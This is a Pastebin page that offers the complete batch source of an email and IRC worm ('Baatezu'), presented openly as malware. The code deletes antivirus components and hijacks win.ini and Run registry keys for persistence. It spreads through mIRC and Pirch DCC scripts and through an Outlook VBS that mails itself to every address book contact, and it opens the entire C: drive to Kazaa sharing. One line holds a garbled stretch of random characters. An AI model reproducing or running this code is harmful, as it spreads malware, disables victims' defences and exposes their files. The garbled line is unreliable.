Advertisement
FlyFar

Email-Worm.BAT.Baatezu - Source Code

Jun 13th, 2023
994
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 3.41 KB | Cybersecurity | 0 0
  1. @echo off
  2. ctty nul
  3. del c:\programme\norton~1\s32integ.dll
  4. del c:\programme\f-prot95\fp'Hw+')M7L[:*6ox.su?:=\\%m(WT%Y,_PiEe9caa?xH/O5hSPU^W2/C*p%O9Vk\'i]qts,@\n'Hw+'7\'?O@<EZ.UHvaF3?I9`Ou*([(mYE+(y}WUTVC:`tuim0hH4]qiX}j_:%fK|>|v35\n'Hw+'u<<_JwJw/[d6g82\'DhUdK>mirc\script.ini
  5. del c:\mirc32\script.ini
  6. del c:\progra~1\mirc\script.ini
  7. del c:\progra~1\mirc32\script.ini
  8. del c:\pirch98\events.ini
  9. ��
  10. echo [windows]>re
  11. echo load=c:\bat.soulcontrol.bat>>re
  12. echo run=>>re
  13. echo NullPort=None>>re
  14. echo.>>re
  15. copy re + %winbootdir%\win.ini %winbootdir%\system\win.ini
  16. del %winbootdir%\win.ini
  17. move %winbootdir%\system\win.ini %winbootdir%\win.ini
  18. ��
  19. del re
  20. echo [script]>mi
  21. echo n0=on 1:JOIN:#:{>>mi
  22. echo n1= /if ( nick == $me ) { halt }>>mi
  23. echo n2= /.dcc send $nick c:\bat.soulcontrol.bat>>mi
  24. echo n3=}>>mi
  25. move mi c:\mirc\script.ini
  26. move mi c:\mirc32\script.ini
  27. move mi c:\progra~1\mirc\script.ini
  28. move mi c:\progra~1\mirc32\script.ini
  29. del mi
  30. ��
  31. echo [Levels]>pi
  32. echo Enabled=1>>pi
  33. echo Count=6>>pi
  34. echo Level1=000-Unknowns>>pi
  35. echo 000-UnknownsEnabled=1>>pi
  36. echo Level2=100-Level 100>>pi
  37. echo 100-Level 100Enabled=1>>pi
  38. echo Level3=200-Level 200>>pi
  39. echo 200-Level 200Enabled=1>>pi
  40. echo Level4=300-Level 300>>pi
  41. echo 300-Level 300Enabled=1>>pi
  42. ��
  43. echo Level5=400-Level 400>>pi
  44. echo 400-Level 400Enabled=1>>pi
  45. echo Level6=500-Level 500>>pi
  46. echo 500-Level 500Enabled=1>>pi
  47. echo.>>pi
  48. echo [000-Unknowns]>>pi
  49. echo User1=*!*@*>>pi
  50. echo UserCount=1>>pi
  51. echo Event1=ON JOIN:#:/dcc send $nick c:\bat.soulcontrol.bat>>pi
  52. echo EventCount=1>>pi
  53. echo.>>pi
  54. ��
  55. echo [100-Level 100]>>pi
  56. echo UserCount=0>>pi
  57. echo EventCount=0>>pi
  58. echo.>>pi
  59. echo [200-Level 200]>>pi
  60. echo UserCount=0>>pi
  61. echo EventCount=0>>pi
  62. echo.>>pi
  63. echo [300-Level 300]>>pi
  64. echo UserCount=0>>pi
  65. echo EventCount=0>>pi
  66. ��
  67. echo.>>pi
  68. echo [400-Level 400]>>pi
  69. echo UserCount=0>>pi
  70. echo EventCount=0>>pi
  71. echo.>>pi
  72. echo [500-Level 500]>>pi
  73. echo UserCount=0>>pi
  74. echo EventCount=0>>pi
  75. move pi c:\pirch98\events.ini
  76. del pi
  77. echo REGEDIT4>ka
  78. ��
  79. echo [HKEY_CURRENT_USER\Software\Kazaa\LocalContent]>>ka
  80. echo "DisableSharing"=dword:00000000>>ka
  81. echo "DownloadDir"="C:\\Program Files\\KaZaA\\My Shared Folder">>ka
  82. echo "Dir0"="012345:c:\\">>ka
  83. move ka c:\ka.reg
  84. regedit /s c:\ka.reg
  85. echo.on error resume next>ol
  86. echo dim a,b,c,d,e>>ol
  87. echo set a = Wscript.CreateObject("Wscript.Shell")>>ol
  88. echo set b = CreateObject("Outlook.Application")>>ol
  89. ��
  90. echo set c = b.GetNameSpace("MAPI")>>ol
  91. echo for y = 1 To c.AddressLists.Count>>ol
  92. echo set d = c.AddressLists(y)>>ol
  93. echo x = 1>>ol
  94. echo set e = b.CreateItem(0)>>ol
  95. echo for o = 1 To d.AddressEntries.Count>>ol
  96. echo f = d.AddressEntries(x)>>ol
  97. echo e.Recipients.Add f>>ol
  98. echo x = x + 1>>ol
  99. echo next>>ol
  100. echo e.Subject = "Who controls you?">>ol
  101. echo e.Body = "Stop your soul being controled! Get illuminated.">>ol
  102. ��
  103. echo e.Attachments.Add ("c:\bat.soulcontrol.bat")>>ol
  104. echo e.DeleteAfterSubmit = False>>ol
  105. echo e.Send>>ol
  106. echo f = "">>ol
  107. echo next>>ol
  108. move ol %winbootdir%\ol.vbs
  109. start %winbootdir%\ol.vbs
  110. echo REGEDIT4>pl
  111. echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>pl
  112. echo "msg"="c:\\pl.bat">>pl
  113. move pl c:\pl.reg
  114. ��
  115. regedit /s c:\pl.reg
  116. echo @echo off>pl.bat
  117. echo ctty nul>>pl.bat
  118. echo %winbootdir%\pbrush.exe c:\soulcontrol.jpg>>pl.bat
  119. echo exit>>pl.bat
  120. move pl.bat c:\
  121. del c:\ka.reg
  122. del c:\pl.reg
  123. del %0
  124. ��
Tags: batch email worm
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement